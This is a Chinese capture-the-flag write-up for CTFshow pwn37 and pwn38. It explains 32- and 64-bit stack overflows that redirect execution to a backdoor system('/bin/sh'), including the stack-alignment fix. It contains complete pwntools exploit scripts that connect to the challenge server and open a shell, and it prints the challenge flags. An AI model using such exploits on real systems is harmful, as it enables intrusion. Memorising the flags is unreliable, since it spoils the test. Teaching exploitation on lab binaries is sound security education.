CTFshow-PWN-栈溢出(pwn37-pwn38)

目录

1、pwn37

2、pwn38


1、pwn37

32位的 system(“/bin/sh”) 后门函数给你

对于这种有后门函数的简单栈溢出我们就不作过多分析,这种类型题是有固定套路的,我们这里就直接用模版 exp 打通。

检查一下是多少位程序:

32位

拖进 ida32 反编译 main 函数

跟进 ctfshow 函数:

典型的栈溢出类型

buf 到栈底的距离:0x12

shift+F12,发现存在 /bin/sh

(注意这里的 /bin/sh 直接双击跟进的地址并不是后门函数的地址)

找到后门函数:backdoor() 

找到后门函数地址:0x8048521

编写 exp:32 位程序加上 4 字节的栈底(ebp)

from pwn import *
context.log_level ='debug'
p = remote('pwn.challenge.ctf.show', 28146)
payload = b'a'*(0x12+4) + p32(0x8048521)
p.sendline(payload)
p.interactive()

连上后直接拿到 shell 

命令执行获取 flag

ctfshow{2a2334a0-3e1b-4463-8e90-d1c8876879f9} 

2、pwn38

64位的 system(“/bin/sh”) 后门函数给你

检查一下:64位程序

拖进 ida64 分析

跟进 ctfshow 函数,也是典型的栈溢出

buf 到栈底(ebp)的距离是:0xA,64 位程序加上 8 字节的栈底(rbp)

同样存在后门函数:backdoor()

找到该函数地址:0x400657

对于 32 位程序来说,现在就能打通了

但是这里是 64 位程序,需要处理堆栈平衡

堆栈平衡:

当我们在堆栈中进行堆栈的操作的时候,一定要保证在 ret 这条指令之前,esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址 一定要是 call 指令的下一个地址。

因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn 的地址)

直接看 backdoor 函数的汇编代码:

 

lev 的地址:0x40065B

retn 的地址:0x40066D

特别注意:构造 payload 时将该地址放在该函数开始地址之前

编写 exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28189)
payload = b'a'*(0xA+8) + p64(0x40065B) + p64(0x400657)
p.sendline(payload)
p.interactive()

连上后获取 shell ,直接命令执行获取 flag

ctfshow{50917378-b683-4623-99dc-c27959399517}

继续尝试 retn 的地址

编写 exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28189)
payload = b'a'*(0xA+8) + p64(0x40066D) + p64(0x400657)
p.sendline(payload)
p.interactive()

也是可以的 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/644486.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

租房管理|基于SprinBoot+vue的租房管理系统(源码+数据库+文档)

租房管理目录 基于SprinBootvue的租房管理系统 一、前言 二、系统设计 三、系统功能设计 前台 后台 管理员 订单信息管理 屋主申诉管理 屋主权限 房源信息管理 订单信息管理 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获…

related_name和related_query_name属性

在Django模型继承中,假如在外键或多对多字段中使用了related_name属性或related_query_name属性,则必须为该字段提供一个独一无二的反向名字和查询名字。但是,这样在抽象基类中一般会引发问题,因为基类中的字段都被子类继承并且保…

python 如何判断两个字典是否相等

Python 字典的 cmp() 函数用于比较两个字典元素。 语法 cmp()方法语法: cmp(dict1, dict2)参数 dict1 -- 比较的字典。 dict2 -- 比较的字典。 返回值 如果两个字典的元素相同返回0,如果字典dict1大于字典dict2返回1,如果字典dict1小于…

基于卷积神经网络的垃圾图像分类系统研究与实现

1.摘要 垃圾分类作为资源回收利用的重要环节之一, 可以有效地提高资源回收利用效率, 进一步减轻环境污染带来的危害. 随着现代工业逐步智能化, 传统的图像分类算法已经不能满足垃圾分拣设备的要求. 本文提出一种基于卷积神经网络的垃圾图像分类模型 (Garbage Classification Ne…

Python Web应用框架库之web2py使用详解

概要 Python Web2py是一个开源的Web应用框架,旨在简化Web开发过程并提供强大的功能。本文将深入探讨Web2py库的安装、特性、基本功能、高级功能、实际应用场景等方面。 安装 首先,需要安装Web2py库。 可以通过pip工具进行安装: pip install web2py安装完成后,就可以开始…

nginx反向代理.NetCore开发的基于WebApi创建的gRPC服务

一、本文中使用的工具: Vs2022使用.NET 8.0开发基于ASP.NET Core WebApi的gRPC服务; Nginx:1.25.5,下载地址:http://nginx.org/en/download.html 二、gRPC介绍: 由 google 开发,是一款语言中立、平台中立、开源的远程过程调用(RPC)系统。在vs2022中可以直接创建gRP…

Laravel 6 - 第十四章 响应

​ 文章目录 Laravel 6 - 第一章 简介 Laravel 6 - 第二章 项目搭建 Laravel 6 - 第三章 文件夹结构 Laravel 6 - 第四章 生命周期 Laravel 6 - 第五章 控制反转和依赖注入 Laravel 6 - 第六章 服务容器 Laravel 6 - 第七章 服务提供者 Laravel 6 - 第八章 门面 Laravel 6 - …

网络教学管理系统

👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 网络教学管理系统拥有三种角色 管理员:专业管理、班级管理、学生教师管理、公告管理、留言板管理、学习资料管理、教学视频管理、试题管理等 教师:系统留言、发布…

(2022级)成都工业学院数据库原理及应用实验六: SQL DML(增、删、改)

写在前面 1、基于2022级软件工程/计算机科学与技术实验指导书 2、成品仅提供参考 3、如果成品不满足你的要求,请寻求其他的途径 运行环境 window11家庭版 Navicat Premium 16 Mysql 8.0.36 实验要求 在实验三的基础上完成下列查询: 1、在科室表…

Paddle 1.8 与 Paddle 2.0 API 映射表

安装2.6的paddlepaddle之后总是报fluid的错误,查询得知这个接口已经弃用了,但是一直找不到替换接口,偶然查询报错信息的时候找到了映射表,转存一下。 Paddle 1.8 与 Paddle 2.0 API 映射表

Android视角看鸿蒙第十二课-鸿蒙的布局之相对布局RelativeContainer

Android视角看鸿蒙第十二课-鸿蒙的布局之相对布局RelativeContainer 导读 相对布局和线性、层叠布局一样都是类似于Android布局的,之前两篇文章已经了解线性、层叠布局的使用方法,这篇文章一起来学习下鸿蒙中的相对布局。 之前的文章中,我偶…

Ansible自动化运维工具主机清单配置

作者主页:点击! Ansible专栏:点击! 创作时间:2024年4月24日12点21分 Ansible主机清单文件用于定义要管理的主机及其相关信息。它是Ansible的核心配置文件之一,用于Ansible识别目标主机并与其建立连接。 …